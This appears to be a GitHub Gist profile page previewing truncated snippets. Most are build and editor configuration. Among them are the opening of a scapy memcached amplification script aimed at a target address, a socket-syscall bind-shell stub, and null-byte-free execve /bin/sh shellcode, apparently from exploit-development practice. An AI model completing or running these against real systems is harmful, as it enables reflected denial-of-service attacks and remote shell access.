Skip to content

Instantly share code, notes, and snippets.

View retpolanne's full-sized avatar
🏳️‍⚧️

Anne Isabelle "Anya" Macedo retpolanne

🏳️‍⚧️
View GitHub Profile
from scapy.all import IP, Raw, send, UDP
import sys
cmd = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
memcached_addr = sys.argv[1]
target = sys.argv[2]
iface = sys.argv[3]
packet = IP(
#!/bin/bash
# The directory is different on arch, I'm too lazy to change it.
# install doc-rfc before using it
# https://news.ycombinator.com/item?id=16570470
RFCS_DIR="/usr/share/doc/RFC/"
RFC_QUERIED=$1
echo "$(find $RFCS_DIR -name '*'$RFC_QUERIED'*')" | head -1 | xargs zmore
# bugs - plugs to random port :/
# run netstat -tlnp | grep LISTEN before using
.global _start
.section .text
_start:
# socket syscall
mov $0x66, %eax # syscall 102 - socketcall
mov $1, %ebx # socketcall type 1 - socket
set nocompatible " be iMproved, required
filetype off " required
" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" alternatively, pass a path where Vundle should install plugins
"call vundle#begin('~/some/path/here')
" let Vundle manage Vundle, required
@retpolanne
retpolanne / execve.s
Last active January 4, 2019 00:33
Xors to remove null bytes
.global _start
.section .text
_start:
# execve syscall
xor %eax, %eax
push %eax # null byte for /bin/sh string
push $0x68732f2f # little endian //sh
push $0x6e69622f # little endian /bin
#!/bin/bash
as --32 $1.s -o $1.o
ld -m elf_i386 $1.o -o $1
#!/bin/bash
docker run --rm -v "$PWD":/usr/src/assembly -w /usr/src/assembly gcc:4.9 $1
#!/bin/bash
docker run --name gcc-docker --rm -v "$PWD":/usr/src/assembly -w /usr/src/assembly -it gcc:4.9 $1
#!/bin/bash
docker exec -it gcc-docker /bin/bash
#!/bin/bash
docker run --privileged --cap-add=SYS_PTRACE --name gdb-docker -v "$PWD":/usr/src/assembly -w /usr/src/assembly -it ubuntu:latest $1